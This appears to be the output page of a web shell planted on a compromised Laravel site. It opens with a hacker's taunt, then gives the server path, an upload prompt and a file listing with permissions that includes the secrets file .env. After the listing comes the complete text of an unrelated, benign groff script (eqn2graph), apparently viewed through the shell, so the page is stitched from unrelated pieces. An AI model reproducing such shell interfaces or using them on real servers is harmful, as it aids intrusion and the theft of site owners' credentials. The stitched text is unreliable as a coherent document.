I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
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| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
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| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
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| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
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| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
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| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
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| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
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| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
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| app | - | March 05 2024 07:12:34 | 0777 |
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| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
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| bootstrap | - | March 05 2024 07:12:34 | 0777 |
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| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
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| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
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| config | - | July 03 2025 02:53:36 | 0777 |
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| database | - | March 05 2024 07:12:34 | 0777 |
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| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
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| lang | - | May 13 2024 14:53:26 | 0777 |
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| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
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| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
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| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
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| public | - | July 03 2025 02:37:20 | 0777 |
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| resources | - | May 13 2024 12:09:36 | 0777 |
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| routes | - | March 05 2024 07:12:34 | 0777 |
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| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
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| storage | - | March 05 2024 10:03:52 | 0777 |
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| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
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| tests | - | March 05 2024 07:12:34 | 0777 |
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| vendor | - | March 19 2024 12:13:14 | 0777 |
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| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
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#! /bin/bash
#
# eqn2graph -- compile EQN equation descriptions to bitmap images
#
# by Eric S. Raymond , July 2002
#
# In Unixland, the magic is in knowing what to string together...
#
# Take an eqn equation on stdin, emit cropped bitmap on stdout.
# The eqn markup should *not* be wrapped in .EQ/.EN, this script will do that.
# A -format FOO option changes the image output format to any format
# supported by convert(1). All other options are passed to convert(1).
# The default format is PNG.
#
# This is separate from pic2graph because pic processing has some weird
# clipping effect on the output, mangling equations that are very wide
# or deep. Besides, this tool can supply its own delimiters.
#
# Requires the groff suite and the ImageMagick tools. Both are open source.
# This code is released to the public domain.
#
# Here are the assumptions behind the option processing:
#
# 1. None of the options of eqn(1) are relevant.
#
# 2. Many options of convert(1) are potentially relevant, (especially
# -density, -interlace, -transparency, -border, and -comment).
#
# Thus, we pass everything except -format to convert(1).
#
convert_opts=""
convert_trim_arg="-trim"
format="png"
while [ "$1" ]
do
case $1 in
-format)
format=$2
shift;;
-v | --version)
echo "GNU eqn2graph (groff) version 1.22.4"
exit 0;;
--help)
echo "usage: eqn2graph [ option ...] < in > out"
exit 0;;
*)
convert_opts="$convert_opts $1";;
esac
shift
done
# create temporary directory
tmp=
for d in "$GROFF_TMPDIR" "$TMPDIR" "$TMP" "$TEMP" /tmp
do
test -n "$d" && break
done
if ! test -d "$d"
then
echo "$0: error: temporary directory \"$d\" does not exist or is" \
"not a directory" >&2
exit 1
fi
if ! tmp=`(umask 077 && mktemp -d -q "$d/eqn2graph-XXXXXX") 2> /dev/null`
then
# mktemp failed--not installed or is a version that doesn't support those
# flags? Fall back to older method which uses more predictable naming.
#
# $RANDOM is a Bashism. The fallback of $PPID is not good pseudorandomness,
# but is supported by the stripped-down dash shell, for instance.
tmp="$d/eqn2graph$$-${RANDOM:-$PPID}"
(umask 077 && mkdir "$tmp") 2> /dev/null
fi
if ! test -d "$tmp"
then
echo "$0: error: cannot create temporary directory \"$tmp\"" >&2
exit 1
fi
# See if the installed version of convert(1) is new enough to support the -trim
# option. Versions that didn't were described as "old" as early as 2008.
is_convert_recent=`convert -help | grep -e -trim`
if test -z "$is_convert_recent"
then
echo "$0: warning: falling back to old '-crop 0x0' trim method" >&2
convert_trim_arg="-crop 0x0"
fi
trap 'exit_status=$?; rm -rf "$tmp" && exit $exit_status' EXIT INT TERM
# Here goes:
# 1. Add .EQ/.EN.
# 2. Process through eqn(1) to emit troff markup.
# 3. Process through groff(1) to emit Postscript.
# 4. Use convert(1) to crop the Postscript and turn it into a bitmap.
read equation
(echo ".EQ"; echo 'delim $$'; echo ".EN"; echo '$'"$equation"'$') | \
groff -e -Tps -P-pletter > "$tmp"/eqn2graph.ps \
&& convert $convert_trim_arg $convert_opts "$tmp"/eqn2graph.ps \
"$tmp"/eqn2graph.$format \
&& cat "$tmp"/eqn2graph.$format
# End